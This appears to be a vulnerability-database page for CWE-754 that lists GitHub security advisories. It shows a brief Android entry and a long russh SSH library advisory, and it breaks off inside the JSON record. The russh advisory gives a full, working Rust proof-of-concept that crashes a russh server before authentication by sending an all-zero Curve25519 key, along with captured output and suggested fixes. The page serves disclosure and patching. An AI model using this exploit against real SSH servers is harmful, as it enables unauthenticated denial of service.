CWE-754
Allowed-with-ReviewImproper Check for Unusual or Exceptional Conditions
Abstraction: Class · Status: Incomplete
The product does not check or incorrectly checks for unusual or exceptional conditions that are not expected to occur frequently during day to day operation of the product.
974 vulnerabilities reference this CWE, most recent first.
GHSA-5W58-7Q99-F8CR
Vulnerability from github – Published: 2023-06-15 21:30 – Updated: 2024-04-04 04:52In several methods of JobStore.java, uncaught exceptions in job map parsing could lead to local persistent denial of service with no additional execution privileges needed. User interaction is not needed for exploitation.Product: AndroidVersions: Android-11 Android-12 Android-12L Android-13Android ID: A-246541702
{
"affected": [],
"aliases": [
"CVE-2023-21137"
],
"database_specific": {
"cwe_ids": [
"CWE-754"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2023-06-15T19:15:10Z",
"severity": "MODERATE"
},
"details": "In several methods of JobStore.java, uncaught exceptions in job map parsing could lead to local persistent denial of service with no additional execution privileges needed. User interaction is not needed for exploitation.Product: AndroidVersions: Android-11 Android-12 Android-12L Android-13Android ID: A-246541702",
"id": "GHSA-5w58-7q99-f8cr",
"modified": "2024-04-04T04:52:31Z",
"published": "2023-06-15T21:30:24Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-21137"
},
{
"type": "WEB",
"url": "https://source.android.com/security/bulletin/2023-06-01"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-5XVQ-CP9X-6P6R
Vulnerability from github – Published: 2026-07-24 16:45 – Updated: 2026-08-12 20:55A pre-authentication denial-of-service panic in russh 0.62.2 (commit
c4be19f1915c8682f4615c3fd50008512b474491, current default branch main as
of 2026-07-22). An unauthenticated client sends a single SSH_MSG_KEX_ECDH_INIT
whose Q_C is 32 zero bytes. russh's Curve25519 KEX does not reject the
all-zero peer public value, so server_dh() computes the all-zero shared
secret and compute_exchange_hash() then calls encode_mpint(&shared.0, ...),
which indexes s[i] at i == s.len() and panics (index out of bounds:
the len is 32 but the index is 32) before host-key signature verification.
The server KEX task dies on the first KEX message, before authentication.
This is reachable with the default server configuration
(Config::default() → Preferred::DEFAULT, whose kex list includes
curve25519-sha256) and requires no caller-supplied parameter. It is
reproduced end-to-end against the unmodified real russh 0.62.2 library (a real
server + raw TCP client over TCP); the PoC below links the real crate, not a
copied snippet. The defect is still present on main HEAD (v0.62.3,
2026-07-22) and is not covered by any of the 11 published russh GHSA advisories
(GHSA-cqvm-j2r2-hwpg / CVE-2023-28113 is modp DH group validation, not
Curve25519).
Rust bounds-checked panics abort the task safely (no memory corruption / RCE); the impact is remote denial of service.
Details
russh/src/kex/curve25519.rs, server_dh() (server path; attacker = client):
fn server_dh(&mut self, exchange: &mut Exchange, payload: &[u8]) -> Result<(), crate::Error> {
// only the 32-byte length is checked, NOT zero / low-order:
let mut pubkey = MontgomeryPoint([0; 32]);
pubkey.0.clone_from_slice(&payload[5..5 + 32]); // line 73
...
let shared = server_secret * client_pubkey; // all-zero when client_pubkey == [0;32]
self.shared_secret = Some(shared); // line 86
Ok(())
}
The server then computes the exchange hash before verifying the host-key
signature (russh/src/server/kex.rs):
kex.server_dh(exchange, &input.buffer)?; // line 247
...
let hash = kex.compute_exchange_hash(&pubkey_vec, exchange, &mut buffer)?; // line 274 — panics
compute_exchange_hash() calls encode_mpint(&shared.0, buffer), whose
leading-zero skip loop advances i to s.len() and then indexes s[i]
(russh/src/kex/mod.rs):
pub(crate) fn encode_mpint<W: Writer>(s: &[u8], w: &mut W) -> Result<(), Error> {
let mut i = 0;
while i < s.len() && s[i] == 0 { i += 1 } // i advances to s.len() for all-zero input
if s[i] & 0x80 != 0 { // line 482 — index out of bounds: s[s.len()]
...
On Curve25519, scalar * MontgomeryPoint([0;32]) yields MontgomeryPoint([0;32])
(the identity element), so the all-zero shared secret is attacker-controlled.
RFC 7748 §6 requires implementations to detect and reject all-zero / low-order
peer public values and shared secrets; russh does not. The client path
(compute_shared_secret, curve25519.rs:110-142) has the same chain but is
reached only after the server host-key signature is verified, so it requires a
malicious server that can sign its own host key (same root cause, lower
severity).
PoC
The PoC is a standalone examples/ binary that links the unmodified real
russh 0.62.2 crate and reproduces over a real TCP connection. It runs an ATTACK
case (all-zero Q_C → panic) and a CONTROL case (random Q_C → completes kex),
proving the panic is caused specifically by the all-zero value.
One-line reproducer
# Drop the .rs below into russh/examples/ of a checkout of
# Eugeny/russh @ c4be19f1915c (tag v0.62.2), then:
cargo +stable build --release --example e2e_t13_zero_curve25519
RUST_BACKTRACE=1 ./target/release/examples/e2e_t13_zero_curve25519
russh/examples/e2e_t13_zero_curve25519.rs
// End-to-end PoC: a pre-auth all-zero Curve25519 peer public value panics
// russh's SSH exchange-hash computation.
//
// A real `russh::server` with `Config::default()` (curve25519-sha256 in the
// default kex list) + a real Ed25519 host key is started on a TCP listener.
// A raw TCP "attacker" client sends: SSH banner -> SSH_MSG_KEXINIT offering
// curve25519-sha256 -> SSH_MSG_KEX_ECDH_INIT with Q_C = 32 zero bytes.
// The server drives the real path server_dh -> compute_exchange_hash ->
// encode_mpint and panics. A CONTROL case with a random Q_C completes kex.
use std::sync::atomic::{AtomicBool, Ordering};
use std::sync::Arc;
use byteorder::{BigEndian, ByteOrder};
use russh::server::{self, Handler};
use tokio::io::{AsyncReadExt, AsyncWriteExt};
use tokio::net::{TcpListener, TcpStream};
const MSG_KEXINIT: u8 = 20;
const MSG_KEX_ECDH_INIT: u8 = 30; // RFC 8731 §3
const MSG_KEX_ECDH_REPLY: u8 = 31;
#[tokio::main]
async fn main() {
println!("=== russh pre-auth all-zero Curve25519 panic (real russh 0.62.2) ===\n");
let (atk_panic, atk_reply) = run_case(QcKind::AllZero, "ATTACK ").await;
println!();
let (ctl_panic, ctl_reply) = run_case(QcKind::Random, "CONTROL").await;
println!("\n=== summary ===");
println!("case | server panicked | got ECDH_REPLY");
println!("ATTACK | {atk_panic:<15} | {atk_reply} (Q_C = all-zero)");
println!("CONTROL | {ctl_panic:<15} | {ctl_reply} (Q_C = random non-zero)");
if atk_panic && !atk_reply && !ctl_panic && ctl_reply {
println!("\n=> CONFIRMED (end-to-end, real russh 0.62.2):");
println!(" A single pre-auth SSH_MSG_KEX_ECDH_INIT whose Q_C is the");
println!(" all-zero Curve25519 point makes the real russh server panic");
println!(" inside encode_mpint (index out of bounds: len 32, index 32)");
println!(" during compute_exchange_hash, BEFORE host-key verification.");
} else {
eprintln!("NOT reproduced");
std::process::exit(1);
}
}
enum QcKind { AllZero, Random }
async fn run_case(qc: QcKind, label: &'static str) -> (bool, bool) {
let panicked = Arc::new(AtomicBool::new(false));
{
let flag = panicked.clone();
let prev = std::panic::take_hook();
std::panic::set_hook(Box::new(move |info| {
flag.store(true, Ordering::SeqCst);
eprintln!("[{label} server task panicked] {info}");
prev(info);
}));
}
// real russh server, DEFAULT config (curve25519-sha256 in the kex list)
// + real Ed25519 host key.
let mut config = server::Config::default();
config.inactivity_timeout = None;
config.auth_rejection_time = std::time::Duration::from_millis(1);
config.auth_rejection_time_initial = Some(std::time::Duration::from_millis(1));
config.keys.push(
russh::keys::PrivateKey::random(&mut rand::rng(), russh::keys::Algorithm::Ed25519).unwrap(),
);
let config = Arc::new(config);
let listener = TcpListener::bind("127.0.0.1:0").await.unwrap();
let addr = listener.local_addr().unwrap();
let server_task = tokio::spawn(async move {
let (socket, _peer) = listener.accept().await.unwrap();
let session = server::run_stream(config, socket, NoopHandler).await.unwrap();
session.await
});
// raw attacker client: SSH banner -> KEXINIT -> ECDH_INIT(Q_C)
let mut s = TcpStream::connect(addr).await.unwrap();
s.write_all(b"SSH-2.0-attacker\r\n").await.unwrap();
s.flush().await.unwrap();
let _server_id = read_ssh_id(&mut s).await.unwrap();
let _server_kexinit = read_packet(&mut s).await.unwrap();
s.write_all(&ssh_packet(&kexinit_payload_curve25519())).await.unwrap();
s.flush().await.unwrap();
let q_c: [u8; 32] = match qc {
QcKind::AllZero => [0u8; 32],
QcKind::Random => {
let mut b: [u8; 32] = rand::random();
if b.iter().all(|&x| x == 0) { b[0] = 1; }
b
}
};
let mut ecdh_init = Vec::new();
ecdh_init.push(MSG_KEX_ECDH_INIT);
encode_string(&mut ecdh_init, &q_c);
s.write_all(&ssh_packet(&ecdh_init)).await.unwrap();
s.flush().await.unwrap();
let qdesc = match qc { QcKind::AllZero => "all-zero", QcKind::Random => "random" };
println!("[{label}] sent SSH_MSG_KEX_ECDH_INIT (Q_C = {qdesc})");
let got_reply = match tokio::time::timeout(std::time::Duration::from_millis(800), read_packet(&mut s)).await {
Ok(Ok(pkt)) => {
let is_reply = pkt.first() == Some(&MSG_KEX_ECDH_REPLY);
println!("[{label}] server sent a packet, first byte = {:?} (ECDH_REPLY={is_reply})", pkt.first());
is_reply
}
_ => { println!("[{label}] read failed / connection closed (no ECDH_REPLY)"); false }
};
let _ = tokio::time::timeout(std::time::Duration::from_secs(1), server_task).await;
let server_panicked = panicked.load(Ordering::SeqCst);
println!("[{label}] server task panicked = {server_panicked}, got ECDH_REPLY = {got_reply}");
let _ = std::panic::take_hook();
(server_panicked, got_reply)
}
#[derive(Clone)]
struct NoopHandler;
impl Handler for NoopHandler { type Error = russh::Error; }
fn kexinit_payload_curve25519() -> Vec<u8> {
let mut p = Vec::new();
p.push(MSG_KEXINIT);
p.extend_from_slice(&[0u8; 16]); // cookie
encode_name_list(&mut p, &["curve25519-sha256"]); // kex
encode_name_list(&mut p, &["ssh-ed25519"]); // host key
encode_name_list(&mut p, &["chacha20-poly1305@openssh.com"]); // c2s cipher
encode_name_list(&mut p, &["chacha20-poly1305@openssh.com"]); // s2c cipher
encode_name_list(&mut p, &["hmac-sha2-256"]); // c2s mac
encode_name_list(&mut p, &["hmac-sha2-256"]); // s2c mac
encode_name_list(&mut p, &["none"]); // c2s compression
encode_name_list(&mut p, &["none"]); // s2c compression
encode_name_list(&mut p, &[]); // c2s languages
encode_name_list(&mut p, &[]); // s2c languages
p.push(0); // first_kex_packet_follows = false
push_u32(&mut p, 0); // reserved
p
}
fn ssh_packet(payload: &[u8]) -> Vec<u8> {
let mut padding_len = 8 - ((5 + payload.len()) % 8);
if padding_len < 4 { padding_len += 8; }
let packet_len = 1 + payload.len() + padding_len;
let mut packet = Vec::with_capacity(4 + packet_len);
push_u32(&mut packet, packet_len as u32);
packet.push(padding_len as u8);
packet.extend_from_slice(payload);
packet.resize(packet.len() + padding_len, 0);
packet
}
async fn read_packet(stream: &mut TcpStream) -> std::io::Result<Vec<u8>> {
let mut len_buf = [0u8; 4];
stream.read_exact(&mut len_buf).await?;
let packet_len = BigEndian::read_u32(&len_buf) as usize;
let mut packet = vec![0u8; packet_len];
stream.read_exact(&mut packet).await?;
let padding_len = packet[0] as usize;
Ok(packet[1..packet.len() - padding_len].to_vec())
}
async fn read_ssh_id(stream: &mut TcpStream) -> std::io::Result<Vec<u8>> {
let mut id = Vec::new();
loop {
let mut byte = [0u8; 1];
stream.read_exact(&mut byte).await?;
id.push(byte[0]);
if byte[0] == b'\n' { return Ok(id); }
}
}
fn encode_name_list(buf: &mut Vec<u8>, names: &[&str]) { encode_string(buf, names.join(",").as_bytes()); }
fn encode_string(buf: &mut Vec<u8>, value: &[u8]) { push_u32(buf, value.len() as u32); buf.extend_from_slice(value); }
fn push_u32(buf: &mut Vec<u8>, value: u32) {
let mut bytes = [0u8; 4];
BigEndian::write_u32(&mut bytes, value);
buf.extend_from_slice(&bytes);
}
Real captured output (ATTACK, RUST_BACKTRACE=1):
[ATTACK ] sent SSH_MSG_KEX_ECDH_INIT (Q_C = all-zero)
[ATTACK server task panicked] panicked at russh/src/kex/mod.rs:482:8:
index out of bounds: the len is 32 but the index is 32
thread 'tokio-rt-worker' panicked at russh/src/kex/mod.rs:482:8
stack backtrace:
3: russh::kex::encode_mpint::<CryptoVec>
4: <Curve25519Kex as KexAlgorithmImplementor>::compute_exchange_hash
5: <ServerKex>::step ... server::reply ... Session::run
[ATTACK ] server task panicked = true, got ECDH_REPLY = false
[CONTROL] server sent a packet, first byte = Some(31) (ECDH_REPLY=true)
[CONTROL] server task panicked = false, got ECDH_REPLY = true
=> CONFIRMED (end-to-end, real russh 0.62.2)
The backtrace confirms the real in-library call path on a tokio worker, pre-authentication, before any host-key signature verification.
Impact
Remote, pre-authentication denial of service of any russh SSH server using
the default configuration. A single 37-byte SSH_MSG_KEX_ECDH_INIT (0x1e
+ 0x00000020 + 32 zero bytes) from an unauthenticated client crashes the
server's KEX task before authentication. Because the panic is in an async russh
task it aborts that connection's handler; depending on the embedder's panic
containment it can also tear down the server if the panic is not contained
per-connection.
A malicious SSH server can symmetrically crash a russh client after
host-key verification by sending an all-zero Q_S in
SSH_MSG_KEX_ECDH_REPLY (same root cause, lower severity — requires the
server to control its own signed host key).
No confidentiality/integrity break is demonstrated. The all-zero shared secret would itself be a catastrophic key-compromise if russh did not already crash, but the observed impact is the crash.
CVSS
AV:N— reachable from a remote SSH peerAC:L— requires only a 32-byte all-zeroQ_CPR:N— pre-authenticationUI:N— no user interactionC:N,I:N— no confidentiality or integrity impact demonstratedA:H— remote unauthenticated crash of the server KEX task
Suggested fixes
Reject all-zero / low-order Curve25519 peer public values (RFC 7748 §6) in
server_dh() / compute_shared_secret():
if client_pubkey.0 == [0u8; 32] { return Err(crate::Error::Kex); }
and harden encode_mpint against the all-zero input:
if i == s.len() {
return 0u32.encode(w); // all-zero mpint = empty string per RFC 4251 §5
}
Affected versions
russh<= 0.62.3 (commitc4be19f1915c/ currentmainHEADv0.62.3, 2026-07-22). The bug is still present onmain; it is not covered by any of the 11 published russh GHSA advisories. Defaultserver::Configandclient::Configare affected (no feature flag or opt-in).
Credit
Independently reported by Zhaodl1 and the diff/ambidiff security research effort (afldl).
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 0.62.3"
},
"package": {
"ecosystem": "crates.io",
"name": "russh"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "0.62.4"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-73430"
],
"database_specific": {
"cwe_ids": [
"CWE-754"
],
"github_reviewed": true,
"github_reviewed_at": "2026-07-24T16:45:26Z",
"nvd_published_at": null,
"severity": "MODERATE"
},
"details": "A pre-authentication denial-of-service panic in `russh` 0.62.2 (commit\n`c4be19f1915c8682f4615c3fd50008512b474491`, current default branch `main` as\nof 2026-07-22). An unauthenticated client sends a single `SSH_MSG_KEX_ECDH_INIT`\nwhose `Q_C` is 32 zero bytes. russh\u0027s Curve25519 KEX does not reject the\nall-zero peer public value, so `server_dh()` computes the all-zero shared\nsecret and `compute_exchange_hash()` then calls `encode_mpint(\u0026shared.0, ...)`,\nwhich indexes `s[i]` at `i == s.len()` and **panics** (`index out of bounds:\nthe len is 32 but the index is 32`) **before host-key signature verification**.\nThe server KEX task dies on the first KEX message, before authentication.\n\nThis is reachable with the **default** server configuration\n(`Config::default()` \u2192 `Preferred::DEFAULT`, whose kex list includes\n`curve25519-sha256`) and requires **no caller-supplied parameter**. It is\nreproduced end-to-end against the unmodified real russh 0.62.2 library (a real\nserver + raw TCP client over TCP); the PoC below links the real crate, not a\ncopied snippet. The defect is still present on `main` HEAD (`v0.62.3`,\n2026-07-22) and is not covered by any of the 11 published russh GHSA advisories\n(GHSA-cqvm-j2r2-hwpg / CVE-2023-28113 is modp DH group validation, not\nCurve25519).\n\nRust bounds-checked panics abort the task safely (no memory corruption / RCE);\nthe impact is remote **denial of service**.\n\n## Details\n\n`russh/src/kex/curve25519.rs`, `server_dh()` (server path; attacker = client):\n\n```rust\nfn server_dh(\u0026mut self, exchange: \u0026mut Exchange, payload: \u0026[u8]) -\u003e Result\u003c(), crate::Error\u003e {\n // only the 32-byte length is checked, NOT zero / low-order:\n let mut pubkey = MontgomeryPoint([0; 32]);\n pubkey.0.clone_from_slice(\u0026payload[5..5 + 32]); // line 73\n ...\n let shared = server_secret * client_pubkey; // all-zero when client_pubkey == [0;32]\n self.shared_secret = Some(shared); // line 86\n Ok(())\n}\n```\n\nThe server then computes the exchange hash **before** verifying the host-key\nsignature (`russh/src/server/kex.rs`):\n\n```rust\nkex.server_dh(exchange, \u0026input.buffer)?; // line 247\n...\nlet hash = kex.compute_exchange_hash(\u0026pubkey_vec, exchange, \u0026mut buffer)?; // line 274 \u2014 panics\n```\n\n`compute_exchange_hash()` calls `encode_mpint(\u0026shared.0, buffer)`, whose\nleading-zero skip loop advances `i` to `s.len()` and then indexes `s[i]`\n(`russh/src/kex/mod.rs`):\n\n```rust\npub(crate) fn encode_mpint\u003cW: Writer\u003e(s: \u0026[u8], w: \u0026mut W) -\u003e Result\u003c(), Error\u003e {\n let mut i = 0;\n while i \u003c s.len() \u0026\u0026 s[i] == 0 { i += 1 } // i advances to s.len() for all-zero input\n if s[i] \u0026 0x80 != 0 { // line 482 \u2014 index out of bounds: s[s.len()]\n ...\n```\n\nOn Curve25519, `scalar * MontgomeryPoint([0;32])` yields `MontgomeryPoint([0;32])`\n(the identity element), so the all-zero shared secret is attacker-controlled.\nRFC 7748 \u00a76 requires implementations to detect and reject all-zero / low-order\npeer public values and shared secrets; russh does not. The client path\n(`compute_shared_secret`, curve25519.rs:110-142) has the same chain but is\nreached only after the server host-key signature is verified, so it requires a\nmalicious server that can sign its own host key (same root cause, lower\nseverity).\n\n## PoC\n\nThe PoC is a standalone `examples/` binary that links the **unmodified** real\nrussh 0.62.2 crate and reproduces over a real TCP connection. It runs an ATTACK\ncase (all-zero `Q_C` \u2192 panic) and a CONTROL case (random `Q_C` \u2192 completes kex),\nproving the panic is caused specifically by the all-zero value.\n\n### One-line reproducer\n\n```bash\n# Drop the .rs below into russh/examples/ of a checkout of\n# Eugeny/russh @ c4be19f1915c (tag v0.62.2), then:\ncargo +stable build --release --example e2e_t13_zero_curve25519\nRUST_BACKTRACE=1 ./target/release/examples/e2e_t13_zero_curve25519\n```\n\n### `russh/examples/e2e_t13_zero_curve25519.rs`\n\n```rust\n// End-to-end PoC: a pre-auth all-zero Curve25519 peer public value panics\n// russh\u0027s SSH exchange-hash computation.\n//\n// A real `russh::server` with `Config::default()` (curve25519-sha256 in the\n// default kex list) + a real Ed25519 host key is started on a TCP listener.\n// A raw TCP \"attacker\" client sends: SSH banner -\u003e SSH_MSG_KEXINIT offering\n// curve25519-sha256 -\u003e SSH_MSG_KEX_ECDH_INIT with Q_C = 32 zero bytes.\n// The server drives the real path server_dh -\u003e compute_exchange_hash -\u003e\n// encode_mpint and panics. A CONTROL case with a random Q_C completes kex.\n\nuse std::sync::atomic::{AtomicBool, Ordering};\nuse std::sync::Arc;\n\nuse byteorder::{BigEndian, ByteOrder};\nuse russh::server::{self, Handler};\nuse tokio::io::{AsyncReadExt, AsyncWriteExt};\nuse tokio::net::{TcpListener, TcpStream};\n\nconst MSG_KEXINIT: u8 = 20;\nconst MSG_KEX_ECDH_INIT: u8 = 30; // RFC 8731 \u00a73\nconst MSG_KEX_ECDH_REPLY: u8 = 31;\n\n#[tokio::main]\nasync fn main() {\n println!(\"=== russh pre-auth all-zero Curve25519 panic (real russh 0.62.2) ===\\n\");\n\n let (atk_panic, atk_reply) = run_case(QcKind::AllZero, \"ATTACK \").await;\n println!();\n let (ctl_panic, ctl_reply) = run_case(QcKind::Random, \"CONTROL\").await;\n\n println!(\"\\n=== summary ===\");\n println!(\"case | server panicked | got ECDH_REPLY\");\n println!(\"ATTACK | {atk_panic:\u003c15} | {atk_reply} (Q_C = all-zero)\");\n println!(\"CONTROL | {ctl_panic:\u003c15} | {ctl_reply} (Q_C = random non-zero)\");\n\n if atk_panic \u0026\u0026 !atk_reply \u0026\u0026 !ctl_panic \u0026\u0026 ctl_reply {\n println!(\"\\n=\u003e CONFIRMED (end-to-end, real russh 0.62.2):\");\n println!(\" A single pre-auth SSH_MSG_KEX_ECDH_INIT whose Q_C is the\");\n println!(\" all-zero Curve25519 point makes the real russh server panic\");\n println!(\" inside encode_mpint (index out of bounds: len 32, index 32)\");\n println!(\" during compute_exchange_hash, BEFORE host-key verification.\");\n } else {\n eprintln!(\"NOT reproduced\");\n std::process::exit(1);\n }\n}\n\nenum QcKind { AllZero, Random }\n\nasync fn run_case(qc: QcKind, label: \u0026\u0027static str) -\u003e (bool, bool) {\n let panicked = Arc::new(AtomicBool::new(false));\n {\n let flag = panicked.clone();\n let prev = std::panic::take_hook();\n std::panic::set_hook(Box::new(move |info| {\n flag.store(true, Ordering::SeqCst);\n eprintln!(\"[{label} server task panicked] {info}\");\n prev(info);\n }));\n }\n\n // real russh server, DEFAULT config (curve25519-sha256 in the kex list)\n // + real Ed25519 host key.\n let mut config = server::Config::default();\n config.inactivity_timeout = None;\n config.auth_rejection_time = std::time::Duration::from_millis(1);\n config.auth_rejection_time_initial = Some(std::time::Duration::from_millis(1));\n config.keys.push(\n russh::keys::PrivateKey::random(\u0026mut rand::rng(), russh::keys::Algorithm::Ed25519).unwrap(),\n );\n let config = Arc::new(config);\n\n let listener = TcpListener::bind(\"127.0.0.1:0\").await.unwrap();\n let addr = listener.local_addr().unwrap();\n let server_task = tokio::spawn(async move {\n let (socket, _peer) = listener.accept().await.unwrap();\n let session = server::run_stream(config, socket, NoopHandler).await.unwrap();\n session.await\n });\n\n // raw attacker client: SSH banner -\u003e KEXINIT -\u003e ECDH_INIT(Q_C)\n let mut s = TcpStream::connect(addr).await.unwrap();\n s.write_all(b\"SSH-2.0-attacker\\r\\n\").await.unwrap();\n s.flush().await.unwrap();\n let _server_id = read_ssh_id(\u0026mut s).await.unwrap();\n let _server_kexinit = read_packet(\u0026mut s).await.unwrap();\n s.write_all(\u0026ssh_packet(\u0026kexinit_payload_curve25519())).await.unwrap();\n s.flush().await.unwrap();\n\n let q_c: [u8; 32] = match qc {\n QcKind::AllZero =\u003e [0u8; 32],\n QcKind::Random =\u003e {\n let mut b: [u8; 32] = rand::random();\n if b.iter().all(|\u0026x| x == 0) { b[0] = 1; }\n b\n }\n };\n let mut ecdh_init = Vec::new();\n ecdh_init.push(MSG_KEX_ECDH_INIT);\n encode_string(\u0026mut ecdh_init, \u0026q_c);\n s.write_all(\u0026ssh_packet(\u0026ecdh_init)).await.unwrap();\n s.flush().await.unwrap();\n let qdesc = match qc { QcKind::AllZero =\u003e \"all-zero\", QcKind::Random =\u003e \"random\" };\n println!(\"[{label}] sent SSH_MSG_KEX_ECDH_INIT (Q_C = {qdesc})\");\n\n let got_reply = match tokio::time::timeout(std::time::Duration::from_millis(800), read_packet(\u0026mut s)).await {\n Ok(Ok(pkt)) =\u003e {\n let is_reply = pkt.first() == Some(\u0026MSG_KEX_ECDH_REPLY);\n println!(\"[{label}] server sent a packet, first byte = {:?} (ECDH_REPLY={is_reply})\", pkt.first());\n is_reply\n }\n _ =\u003e { println!(\"[{label}] read failed / connection closed (no ECDH_REPLY)\"); false }\n };\n\n let _ = tokio::time::timeout(std::time::Duration::from_secs(1), server_task).await;\n let server_panicked = panicked.load(Ordering::SeqCst);\n println!(\"[{label}] server task panicked = {server_panicked}, got ECDH_REPLY = {got_reply}\");\n let _ = std::panic::take_hook();\n (server_panicked, got_reply)\n}\n\n#[derive(Clone)]\nstruct NoopHandler;\nimpl Handler for NoopHandler { type Error = russh::Error; }\n\nfn kexinit_payload_curve25519() -\u003e Vec\u003cu8\u003e {\n let mut p = Vec::new();\n p.push(MSG_KEXINIT);\n p.extend_from_slice(\u0026[0u8; 16]); // cookie\n encode_name_list(\u0026mut p, \u0026[\"curve25519-sha256\"]); // kex\n encode_name_list(\u0026mut p, \u0026[\"ssh-ed25519\"]); // host key\n encode_name_list(\u0026mut p, \u0026[\"chacha20-poly1305@openssh.com\"]); // c2s cipher\n encode_name_list(\u0026mut p, \u0026[\"chacha20-poly1305@openssh.com\"]); // s2c cipher\n encode_name_list(\u0026mut p, \u0026[\"hmac-sha2-256\"]); // c2s mac\n encode_name_list(\u0026mut p, \u0026[\"hmac-sha2-256\"]); // s2c mac\n encode_name_list(\u0026mut p, \u0026[\"none\"]); // c2s compression\n encode_name_list(\u0026mut p, \u0026[\"none\"]); // s2c compression\n encode_name_list(\u0026mut p, \u0026[]); // c2s languages\n encode_name_list(\u0026mut p, \u0026[]); // s2c languages\n p.push(0); // first_kex_packet_follows = false\n push_u32(\u0026mut p, 0); // reserved\n p\n}\n\nfn ssh_packet(payload: \u0026[u8]) -\u003e Vec\u003cu8\u003e {\n let mut padding_len = 8 - ((5 + payload.len()) % 8);\n if padding_len \u003c 4 { padding_len += 8; }\n let packet_len = 1 + payload.len() + padding_len;\n let mut packet = Vec::with_capacity(4 + packet_len);\n push_u32(\u0026mut packet, packet_len as u32);\n packet.push(padding_len as u8);\n packet.extend_from_slice(payload);\n packet.resize(packet.len() + padding_len, 0);\n packet\n}\n\nasync fn read_packet(stream: \u0026mut TcpStream) -\u003e std::io::Result\u003cVec\u003cu8\u003e\u003e {\n let mut len_buf = [0u8; 4];\n stream.read_exact(\u0026mut len_buf).await?;\n let packet_len = BigEndian::read_u32(\u0026len_buf) as usize;\n let mut packet = vec![0u8; packet_len];\n stream.read_exact(\u0026mut packet).await?;\n let padding_len = packet[0] as usize;\n Ok(packet[1..packet.len() - padding_len].to_vec())\n}\n\nasync fn read_ssh_id(stream: \u0026mut TcpStream) -\u003e std::io::Result\u003cVec\u003cu8\u003e\u003e {\n let mut id = Vec::new();\n loop {\n let mut byte = [0u8; 1];\n stream.read_exact(\u0026mut byte).await?;\n id.push(byte[0]);\n if byte[0] == b\u0027\\n\u0027 { return Ok(id); }\n }\n}\n\nfn encode_name_list(buf: \u0026mut Vec\u003cu8\u003e, names: \u0026[\u0026str]) { encode_string(buf, names.join(\",\").as_bytes()); }\nfn encode_string(buf: \u0026mut Vec\u003cu8\u003e, value: \u0026[u8]) { push_u32(buf, value.len() as u32); buf.extend_from_slice(value); }\nfn push_u32(buf: \u0026mut Vec\u003cu8\u003e, value: u32) {\n let mut bytes = [0u8; 4];\n BigEndian::write_u32(\u0026mut bytes, value);\n buf.extend_from_slice(\u0026bytes);\n}\n```\n\nReal captured output (ATTACK, `RUST_BACKTRACE=1`):\n\n```\n[ATTACK ] sent SSH_MSG_KEX_ECDH_INIT (Q_C = all-zero)\n[ATTACK server task panicked] panicked at russh/src/kex/mod.rs:482:8:\nindex out of bounds: the len is 32 but the index is 32\nthread \u0027tokio-rt-worker\u0027 panicked at russh/src/kex/mod.rs:482:8\nstack backtrace:\n 3: russh::kex::encode_mpint::\u003cCryptoVec\u003e\n 4: \u003cCurve25519Kex as KexAlgorithmImplementor\u003e::compute_exchange_hash\n 5: \u003cServerKex\u003e::step ... server::reply ... Session::run\n[ATTACK ] server task panicked = true, got ECDH_REPLY = false\n[CONTROL] server sent a packet, first byte = Some(31) (ECDH_REPLY=true)\n[CONTROL] server task panicked = false, got ECDH_REPLY = true\n=\u003e CONFIRMED (end-to-end, real russh 0.62.2)\n```\n\nThe backtrace confirms the real in-library call path on a tokio worker,\npre-authentication, before any host-key signature verification.\n\n## Impact\n\n**Remote, pre-authentication denial of service of any russh SSH server using\nthe default configuration.** A single 37-byte `SSH_MSG_KEX_ECDH_INIT` (`0x1e`\n+ `0x00000020` + 32 zero bytes) from an unauthenticated client crashes the\nserver\u0027s KEX task before authentication. Because the panic is in an async russh\ntask it aborts that connection\u0027s handler; depending on the embedder\u0027s panic\ncontainment it can also tear down the server if the panic is not contained\nper-connection.\n\nA malicious SSH server can symmetrically crash a russh **client** after\nhost-key verification by sending an all-zero `Q_S` in\n`SSH_MSG_KEX_ECDH_REPLY` (same root cause, lower severity \u2014 requires the\nserver to control its own signed host key).\n\nNo confidentiality/integrity break is demonstrated. The all-zero shared secret\nwould itself be a catastrophic key-compromise if russh did not already crash,\nbut the observed impact is the crash.\n\n### CVSS\n\n- `AV:N` \u2014 reachable from a remote SSH peer\n- `AC:L` \u2014 requires only a 32-byte all-zero `Q_C`\n- `PR:N` \u2014 pre-authentication\n- `UI:N` \u2014 no user interaction\n- `C:N`, `I:N` \u2014 no confidentiality or integrity impact demonstrated\n- `A:H` \u2014 remote unauthenticated crash of the server KEX task\n\n### Suggested fixes\n\nReject all-zero / low-order Curve25519 peer public values (RFC 7748 \u00a76) in\n`server_dh()` / `compute_shared_secret()`:\n\n```rust\nif client_pubkey.0 == [0u8; 32] { return Err(crate::Error::Kex); }\n```\n\nand harden `encode_mpint` against the all-zero input:\n\n```rust\nif i == s.len() {\n return 0u32.encode(w); // all-zero mpint = empty string per RFC 4251 \u00a75\n}\n```\n\n### Affected versions\n\n- `russh` **\u003c= 0.62.3** (commit `c4be19f1915c` / current `main` HEAD\n `v0.62.3`, 2026-07-22). The bug is still present on `main`; it is not covered\n by any of the 11 published russh GHSA advisories. Default `server::Config`\n and `client::Config` are affected (no feature flag or opt-in).\n\n## Credit\n\nIndependently reported by [Zhaodl1](https://github.com/Zhaodl1) and the diff/ambidiff security research effort (afldl).",
"id": "GHSA-5xvq-cp9x-6p6r",
"modified": "2026-08-12T20:55:41Z",
"published": "2026-07-24T16:45:26Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/Eugeny/russh/security/advisories/GHSA-5xvq-cp9x-6p6r"
},
{
"type": "WEB",
"url": "https://github.com/Eugeny/russh/commit/a7fc1eb5717264e31c3c5f7dd849b73989a08f3d"
},
{
"type": "PACKAGE",
"url": "https://github.com/Eugeny/russh"
},
{
"type": "WEB",
"url": "https://github.com/Eugeny/russh/releases/tag/v0.62.4"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L",
